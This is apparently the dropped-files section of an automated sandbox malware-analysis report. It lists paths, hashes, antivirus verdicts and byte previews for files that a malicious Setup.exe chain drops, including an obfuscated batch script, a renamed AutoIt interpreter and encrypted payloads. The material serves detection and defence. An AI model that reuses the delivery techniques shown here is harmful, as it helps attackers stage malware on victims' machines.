....t&.;.T..\......sy=.r....T..p......r...#k[..1.d;.p.T]....z$.h.!....A..N.K..3.......NKzkP.z-]6]..H....)P.0.c.]s.9..w...\|W.4...r03qZjh..p...7\X.:OP...Zn..C.d....cL/..v.=.MB.WwK.._(.G..z....S\.H....@..J..Mpx..v..w$J...\..X@.A.7Dhy...m3

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Shower

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	2429
Entropy (8bit):	5.307864262440531
Encrypted:	false
SSDEEP:	48:gy9n9mTsCNvEQH5O5U1nPKrhBzM1FoMPhfq1koCqxLVJcdH:gCSEA5O5W+MfH5S1CqlVJcd
MD5:	C59F9CB2846D8824A39D1F8644E84713
SHA1:	8DC3F9F2D5A1E0BE87F21F9706D0DCF463A5147D
SHA-256:	D74F4F06AA9B2E75068555105838AB939DD4A3BAA85107C721F693BE6143A130
SHA-512:	E6329FE1F0A075118B04C9CDF9DFF5853873315406038EEBAEAF8A11CFDA9FD57BAC4C56D1208A60BC0922FFE88B0E7AB511047F17862927383D9389B5C2025E
Malicious:	false
Preview:	Reprint........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Skill

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	76800
Entropy (8bit):	6.770285571626391
Encrypted:	false
SSDEEP:	1536:vDWyu0uZo2+9BGmdATGODv7xvTphAiPChgZ2d:7Wy4ZNoGmROL7F1G7ho2d
MD5:	1DA9CD54DC12A1A0A45E6EFA5B9A2574
SHA1:	F3CBEE5D20933DBDB5CAB5C8F7277E8170B84525
SHA-256:	104E10C52D076E17AE975E043272C91540820E6983789D9568664DE5E18CEF03
SHA-512:	C9D802A8DA0696D0CD470E4C0821B9F2F6D9593BD6DFE56E5BE5201D4D5CC75952C5D821E054820889512B3C3B319EDD45277A59D18C563011534A4BB5A0FF56
Malicious:	false
Preview:	h. .i.t.s.e.l.f...$.I.n.c.o.r.r.e.c.t. .w.a.y. .t.o. .u.s.e. .t.h.i.s. .p.a.r.a.m.e.t.e.r...:.".E.n.d.S.w.i.t.c.h.". .s.t.a.t.e.m.e.n.t. .w.i.t.h. .n.o. .m.a.t.c.h.i.n.g. .".S.w.i.t.c.h.". .s.t.a.t.e.m.e.n.t...>.".S.w.i.t.c.h.". .s.t.a.t.e.m.e.n.t. .i.s. .m.i.s.s.i.n.g. .".E.n.d.S.w.i.t.c.h.". .o.r. .".C.a.s.e.". .s.t.a.t.e.m.e.n.t...H.".C.o.n.t.i.n.u.e.C.a.s.e.". .s.t.a.t.e.m.e.n.t. .w.i.t.h. .n.o. .m.a.t.c.h.i.n.g. .".S.e.l.e.c.t.".o.r. .".S.w.i.t.c.h.". .s.t.a.t.e.m.e.n.t.....A.s.s.e.r.t. .F.a.i.l.e.d.!.....O.b.s.o.l.e.t.e. .f.u.n.c.t.i.o.n./.p.a.r.a.m.e.t.e.r...4.I.n.v.a.l.i.d. .E.x.i.t.c.o.d.e. .(.r.e.s.e.r.v.e.d. .f.o.r. .A.u.t.o.I.t. .i.n.t.e.r.n.a.l. .u.s.e.)...+.V.a.r.i.a.b.l.e. .c.a.n.n.o.t. .b.e. .a.c.c.e.s.s.e.d. .i.n. .t.h.i.s. .m.a.n.n.e.r.....F.u.n.c. .r.e.a.s.s.i.g.n. .n.o.t. .a.l.l.o.w.e.d...*.F.u.n.c. .r.e.a.s.s.i.g.n. .o.n. .g.l.o.b.a.l. .l.e.v.e.l. .n.o.t. .a.l.l.o.w.e.d...........(...0...`.............................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Surely

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	96256
Entropy (8bit):	6.325780593336946
Encrypted:	false
SSDEEP:	1536:ipYhWoXElJUzdlDfFgQa8BpDzdZPp7HE+tKA3QkvyNf7Xw2U0pkzUWBh2zGc/xvz:6GWoUlJUPdgQa8Bp/LxyA3laW2UDQWfc
MD5:	C898F63D5A713DAE5BC763316CC6A292
SHA1:	7C0EC7B1A4DA9045FE00FCE43ABB2F3D019B0158
SHA-256:	D9A91267445238D6ABF2641E1AFB1199F18E09811DD9841DE8456D867B960AED
SHA-512:	EFE5378C6C9CCC61C3FF5CB9E38D90D5988D4809ADDF04F27FC707E5CDDA83535BD30CAC5D0FCDCB858F66406DED060CE29C27B80924A5F2A96176DADBAFBD98
Malicious:	false
Preview:	.....u......M...M....OJ...E......UJ...}..E......E......E...O.....f.x.N..2....w....].3..U..E......E......K..E......u..D....@..E...f.x.N.......D..B.M.j..U...@..E.E.P.E.PS..........O...u.......M...].....bO...E..U..H....f.x.O...N..B.U.....*N...u....\|...F.]..u..K....f.x.N..w....E..x.....P......3............~..E..2........@}....\|...................E.A;.\|.j.j.R..............O...M...."P...E......(P...]..P....U..V....}.S.....v....B..E.;...r......u...t(.?+....:.E......M....:f;.u.....m..u.E.;.r..+.E.f9E.s".K....C.....3M..C....3M..{.........M..}.Y...3M..E..X....3M............E..[....C..........H..M.;........U......t...+.E........E.......u.u.f;.u5.E......u.M.;.s,.K....C.....3M..C....3M..{..u.._....E.f9E.r.M..}.Y...3M..E..X....3M...........E...?+....8...f;.]..]..U..U...<....E.f9E......@.....F....F..8.......j.V........E..........f..R..h.....J..............$...A..E...P.)............tE....+...........0..<..u.f;..u.t2f;}......@.\....}....c....N..u.;.......V....v.........u...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Temperature

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	78848
Entropy (8bit):	4.123141972882056
Encrypted:	false
SSDEEP:	768:pKAGWRqA60dTcR4qYnGfAHE9AUsFxyLtVSQsbZgar3R/OWel3EY7:pKaj6iTcPAsAhxjgarB/5el3EY7
MD5:	828B2FC8AC7982D069777FCE75CA25D5
SHA1:	8A97786574B936CA9BB9C56AC9906D5952802F79
SHA-256:	9E2BCFD0D917FC75BC40A7408BD89B1EA75B197A8491F31D9373275295FC724E
SHA-512:	849B86982E9C0FC08833E74D3F082069DA7E1334975322B2AF2DD0A337F39160C18D831803C173677BAABB101FF2C3E63365E8C93510E77C4661E8B9FDA17437
Malicious:	false
Preview:	........................................................................r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r...........................................................................................................r.r.r.r.r.r.r.r.r.r.r.............................................................................................................................................................................................r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r...............................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Transcript

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	66560
Entropy (8bit):	7.997564421288822
Encrypted:	true
SSDEEP:	1536:S8JM1tSJBhi/vgZqNVmm9XpqJRQDDGtPK4LAmr+jb1ZEnmr:S8JM1UO/YMHmm9k3PRPLAmrUp
MD5:	DFDA17F8F4515D1EEF79265D1A2FF791
SHA1:	0C0526C5DD79D91DB98F7FAAA113675F90F11C1C
SHA-256:	407A778FB653FB4C9D3A26E8064DD1A0A24E2CB8E7161B078CF2050D768D0A4A
SHA-512:	E5D8A2724F92A2C3B5DA55680317B75C0B2FDEDDDCE89E14DBED36516CE7B1D15A894C99752D98F9594D543008F534B27D19E590D864787A2A6EDB01831F2EFD
Malicious:	false
Preview:	...p..,.P3.G.....W..An..hF.m.7P..s..&:...........e.^.s..o.8j.O.d'..V.p....d4.....b......s...!.\..5F......<.../.T..XB-.i.......F2.../...W(.b.. .$s..BP\S%:.b...Jo..^..i..&..q..b.BE.b.A].l.......q._.X.......~VTL.. .]!=..NQ;..m..8. .v"..P...FcX.(.A........v~.bZw..'...'.p....RO...(.pr........9..$Q....0.^}..../.q....SA.........8x....!.a.v.].o@....T.L}U4SO.\...fy....]%\..o...o.@.........4/!.^RZ......[.#fz"...._..V\k.$.X.x)\|..I.7.Oz.......m;5...V..C..0v...Ke.$.A..Y...7....J..1...Eh.e..B..X......z..I.IW.RF.1.'...y...r..U...D...Z..P:lE\|.......N!..BT."..M...=[g..K.-.UFB.6.".SHHd.:.<qC.-..$....Flf_^.sT.p.......]}...2.j .\..c.k..$..e/..+6.n.v.<.1..I.M...koS....!.....8j..F&.?.{...6t.m.R....2...&....,...Mr..M......m.`.w.QS.+...S..`..f.....u.J.<...\[..5.;...H.(..p.e.1I.g'.....wOvj.x9..1.K.".s.5Y.9..O......]w.,.W.N.......T.8f.!.-7.tT+....f.\.....r....(. ..~...>~.1NsG..p......._........2.!..e}.\|8...Cu.}.Xg.....i.j...............q.A.k.;q.-...f%...m.....=..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Unlock

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	ASCII text, with very long lines (351), with CRLF line terminators
Category:	dropped
Size (bytes):	8624
Entropy (8bit):	5.166984108156459
Encrypted:	false
SSDEEP:	192:cvCHiG/O9uAzoJnYw1LKVznHLv0lpn8OlNRyf:cvC/qugoJnh1L8zLsD8OlNRu
MD5:	1410BE93A6EFF263D42C7D4250C1CCB1
SHA1:	AD994800D63AC724834AB4089227F0F75653ECD8
SHA-256:	AC4170846EA44B51DAEB38D2E66C145FBDB18E28C7694264A2A982112B0D54B0
SHA-512:	2658E9B2EEFD5E658A79929DCD431F139C92881B7D4D5223BE8AB43432AAD63BD18D5860925E62ED72128DCB4CDEEA79CA2CEAFD86F89EDE8CBD79D96ED5FBA7
Malicious:	false
Preview:	Set Perfect=S..aPzReno-Workflow-Url-Productions-..zHtHarold-Approved-..xooSinger-Guys-Checking-..lSpRelating-Nicaragua-Governor-Earth-..AEAgree-Kenneth-Simply-Studies-Sophisticated-..BIRBenz-Exhibition-Logical-Batch-Photos-Kidney-Picks-..HXHDdr-Technology-Shopper-Maryland-Virtual-Superior-William-Forgot-Rider-..QDCUEmperor-Johns-Da-Tampa-..BvOSure-Pharmacy-Up-Throwing-Omissions-Podcast-Subsidiary-Pace-..whWeOval-Periodic-Preliminary-..Set Specify=R..XNAdvice-Watt-..stOwns-Harmful-Decline-Avoid-London-Pets-Marketplace-Forecasts-..DTDesire-Gotta-Mother-Issue-Lover-..ByMCommunities-Isp-Displays-Undertake-Counseling-Nine-Designated-Yarn-..fsolCommittees-Yoga-Coin-..ULjPReceiving-Protest-Fucking-Mac-Martin-Imagine-Sand-Simultaneously-..rOkNNative-Incomplete-Usps-Brazil-Colonial-Programmes-Mill-Burner-..pdMachines-Foundation-Statute-..wFPatient-Madison-Dangerous-Stage-..Set Below=U..EpjRCareers-Extraordinary-Perfectly-Task-Support-Short-Dimensions-..DfKWStay-..FbFBrian-..CLTowns-..jPKAdventu

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Unlock.cmd (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (351), with CRLF line terminators
Category:	dropped
Size (bytes):	8624
Entropy (8bit):	5.166984108156459
Encrypted:	false
SSDEEP:	192:cvCHiG/O9uAzoJnYw1LKVznHLv0lpn8OlNRyf:cvC/qugoJnh1L8zLsD8OlNRu
MD5:	1410BE93A6EFF263D42C7D4250C1CCB1
SHA1:	AD994800D63AC724834AB4089227F0F75653ECD8
SHA-256:	AC4170846EA44B51DAEB38D2E66C145FBDB18E28C7694264A2A982112B0D54B0
SHA-512:	2658E9B2EEFD5E658A79929DCD431F139C92881B7D4D5223BE8AB43432AAD63BD18D5860925E62ED72128DCB4CDEEA79CA2CEAFD86F89EDE8CBD79D96ED5FBA7
Malicious:	false
Preview:	Set Perfect=S..aPzReno-Workflow-Url-Productions-..zHtHarold-Approved-..xooSinger-Guys-Checking-..lSpRelating-Nicaragua-Governor-Earth-..AEAgree-Kenneth-Simply-Studies-Sophisticated-..BIRBenz-Exhibition-Logical-Batch-Photos-Kidney-Picks-..HXHDdr-Technology-Shopper-Maryland-Virtual-Superior-William-Forgot-Rider-..QDCUEmperor-Johns-Da-Tampa-..BvOSure-Pharmacy-Up-Throwing-Omissions-Podcast-Subsidiary-Pace-..whWeOval-Periodic-Preliminary-..Set Specify=R..XNAdvice-Watt-..stOwns-Harmful-Decline-Avoid-London-Pets-Marketplace-Forecasts-..DTDesire-Gotta-Mother-Issue-Lover-..ByMCommunities-Isp-Displays-Undertake-Counseling-Nine-Designated-Yarn-..fsolCommittees-Yoga-Coin-..ULjPReceiving-Protest-Fucking-Mac-Martin-Imagine-Sand-Simultaneously-..rOkNNative-Incomplete-Usps-Brazil-Colonial-Programmes-Mill-Burner-..pdMachines-Foundation-Statute-..wFPatient-Madison-Dangerous-Stage-..Set Below=U..EpjRCareers-Extraordinary-Perfectly-Task-Support-Short-Dimensions-..DfKWStay-..FbFBrian-..CLTowns-..jPKAdventu

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Value

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	5.688705678432376
Encrypted:	false
SSDEEP:	1536:rHsWccd0vtmgMbFuz08QuklMBNIimuzaAwusPL:rLeAg0Fuz08XvBNbjaAtsPL
MD5:	3E3C694DC96C4390E112D095742705E6
SHA1:	6000188E615A6BF3FCABCD0E6774784E00833EC6
SHA-256:	5E736FD708445183A49226DA4DA6829A47395FDF836960DDE33D7E08FBF9C343
SHA-512:	44E79CCFAC5B322B8326CB09922A645489034BA26DD7F7A1B06DC6D8F7B3CAD609E8EE480B3685AE1D53968B8386E0C3318B4983BEC0723EFFC63F8951ADA9BF
Malicious:	false
Preview:	.?333333.?.q..q..?UUUUUU.?O..N..?.m.m.?$rxxx..?.......?.......................?.......?.........9..B..@...2b.........................7......8C......8C.\.3&..<.-DT.!.?........................................UUUUUU.?333333.?.m.m.?....?333333.?.q..q..?UUUUUU.?O..N..?.m.m.?$rxxx..?.......?.......................?.........9..B..@...2b.....................m0_$@...m0_$@......xC......8C.@DT.!.?..DT.!.?.@gg..2...LL#.F=J4.7.:Esp....:.3gg..2=.......?..............................`C.......<.......<................UUUUUU...............?UUUUUU.?........l..l.V.4.V....>.......>...m0_$@......8C..`.a..=..`.a..=..@T.!.?sp....c;......`C.......<.......?...............?.......................UUUUUU...............?UUUUUU.?........l..l.V.4.V....>.......>...m0_$@......8C..`.a..=..`.a..=..@T.!.?sp....c;......`C.......<.......?...............?.......TZ...FJ..FJ..FJ..GJ.j.a.-.J.P...z.h.-.C.N...k.o.-.K.R...z.h.-.T.W...u.k.............@NJ.....HNJ.....PNJ.....XNJ.....hNJ.....pNJ.....xNJ......N

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Vid

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	60416
Entropy (8bit):	6.667092587647439
Encrypted:	false
SSDEEP:	1536:NJ3RraSXL21rKoUn9r5C03Eq30BcrTrhCX4aVq:NBRtNPnj0nEoXnq
MD5:	3E5BF525EACD718956B00CD0AF1668D2
SHA1:	108417A3019A12632572C55E0FB56F04F648AC0A
SHA-256:	A9A79ED17DFCA135C42846DA7D14202B83147050C0C91B87215C392A8D72006B
SHA-512:	5F369CCC975CE3C227D86690DBFAD896B33EA87178618EE7AD7B7062AC1ED8EC8A96F8FE15F6BD4694E968F05C6D02156DA38BB6D34BEB0FABBFD59EEFC94D71
Malicious:	false
Preview:	.U....3.j.X.....f;.....j{...I.........f..Xf....F.f....U.f.G..E..t......f..9]...\%..3..E..R%...E..yf...0....E..yf...6%.......f;...5%...E............E...u..U...%...M...u....u..Cb...Cd.U.j.Y.D;E.u..Cf..;M.u....t.U..Chj.Yf....f.E.f....E.@....#E..E....E.f.2...f....U..$..j...[+.t....t....t.3...j'..j.[..j.X..}..tM.W.f..f#.....f;.....u4j.X+.+.....?PR......P.^...U....u........}.....#...U.......}.f;........#...}....~#...E(.}..@h..l....E..e#...z.....E...B..E..u#..;M.].u.M.j.u...%.:.....'...B'f..f.E.Yf.....#...}..u....u..M.B#...M.;E....#...B'f......E.H.y..C#...M.C)j.f...y.f.E.f...E.Y....yY.}...].t*......t"...........VPW.]...U.....j.Y...E.f......x.f.....E.f.....B!f......"..;E...."...}...].t%......t............VPW.5]...U.....f.....>.u..x..E.f.1...j.f..X..E..y.+E..E....j...........B%f..Y.Z".............SPW..\.....j.Y.S"...E........Pwnt)j.Y;.......j Y;.v.j)Y;.t...6t.jCY;........}......1L..E...H.M.tsf.A......f#.....f;.u].A....M..E...I...H.E..Fj][;.t.jm[;.v8jo[;.v.jpXf;.u

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.0818136700495735
Encrypted:	false
SSDEEP:	3:Nlllulrlgll//Z:NllUml
MD5:	BCE202BE96167104C292ABBA72DDA325
SHA1:	2F7A5938BD57E9769440EDF0B6700DD001DF7AC6
SHA-256:	680BC38EEF1B5175C4E728CEA436662498DC7F8E5570CBA66D7F9627AC0A0AEE
SHA-512:	195CAC106561793B62A216DA442AA663BDEDCDFCA2920848583880B25489E03888AF732B6F07834DB3A4E892F24020CC8E2C37D54F1B61F20BEEFCCDB38F0189
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\455e5430

Download File

Process:	C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe
File Type:	PNG image data, 3792 x 2093, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	6447207
Entropy (8bit):	7.998441497232368
Encrypted:	true
SSDEEP:	196608:sXKjzP/kSY5cPYsvASGkG9166F/KHaj2M:sXKjrMSY5yPoxv/XL
MD5:	B0CB3F07919BEB69B342ED871C6511A9
SHA1:	C23C0B4F9810D50ECB9EA186F57325C7B41DEEBE
SHA-256:	AB4A4A40AA1C1129150AE38AA4F939EB22B4125F6BE8F12251D7C76239B3F8F3
SHA-512:	75BD57701CAC2BE23A9A63AE414F0E019D7C69523F93B3CE6D908B76CC382D84AB1F1C2B085633D39A8E7294C1879601A1A3B03C5871BA0E35A345F559E06AA4
Malicious:	false
Preview:	.PNG........IHDR.......-.....1S.... .IDATx..;..G....+.U={.. .....H.$..gm........1c...&.r....wm..=...-F...W....ft...Y.........~.3+.....\|....?@@...o......\.._@...c....0.e..o..us).-.9~.4..:.H]..R.#M.K.!...#.s...4..G.c.#Zk.#B.s...p......R...PU....HUU..RJ.......^...Ru]..n...&w.R.WeE.DH.kB...)....!.....cRI.....d.u.....W..j..xw... .e,.....lC`....o=.^ `..d....;.nH..\|k..3..}......'Ts.....D....C..h.{......$.}w.np..h.n1..U9\F..<[...J..\..............c..f.6.g.o......$.1..^z)..8..c$./.\|3...s.9..&.\|...r....L.q..I~{)..>.uw..oY.d../..ksw..P..p.]....T.K1.R..i.........I.9B.....D@@@..a/.?.[ 8.K\|......H..X..T...4.{..c..4..!.^...}X~7.'......uc.$H................\|.{5...Q...,..{..p..]v{....m.]).....[-.{..... !l......V..W k....u....g...$....[%>^.oI.\|.......$.......$.g.@...m.hI~S;.).=...K%..H.T..d"....W.O.J.A..../%..@..J..-...ZW........oz....b.....B..x.1......>q.....[..I>..l...t..I..I..n....s....P..p...C..3..\|.(..<..3r.F7d.#..;..".p..dg.p.#4Mm........}.....A.......

C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe

Download File

Process:	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8767044
Entropy (8bit):	7.960152326344281
Encrypted:	false
SSDEEP:	196608:r7B6e1u5SqD6mOefSP01pbtDgGFN6sskirwDODi:roweOFCS8jbtM8N6sjYY
MD5:	51F99EDDD33CC04FB0F55F873B76D907
SHA1:	60CD79359912A9069674CEE3C5C5982A9B01CE82
SHA-256:	16E037D7B5F6A8E02B73671E1214B7979EB5D0AB0FC1106CF4C321F0FF53E13A
SHA-512:	7D2DF781963C8AC8A6F2A86EB95742AA26C932671D31DF8F09E334B2AF5E543EC3FB636ABFA4FB2512EC70126E1B9DB6DC7E9446A2A85BCA53EAFC790668964A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.................t...p....................@.......................................@......@...................p..q....P.......................~..XG...........................................................R..\....`.......................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...88.......:...x..............@....bss....Xr...............................idata.......P......................@....didata......`......................@....edata..q....p......................@..@.tls.....................................rdata..]...........................@..@.reloc..............................@..B.rsrc...............................@..@....................................@..@................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bhd2fqob.5fc.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_guzajucm.24p.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\is-5T92T.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-5T92T.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.530011244733973
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	F809F51E678B7F2E388F8C969EF902C8
SHA1:	DC1C645533E0FD1637BF455BA69A9481E7C4B83A
SHA-256:	8D6E5513DE230109BE2238537173352832D1AEBDC7B10FAD0E59D4882812CA81
SHA-512:	C500B40B604AD6203396FCC0243CBB50EAD544586EAB2448C2C6BCC2106DFAE3777A85C344766224F5F695FA60295880623B2A97B0AAE97DC547076FA03CD067
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-ERM5B.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-ERM5B.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
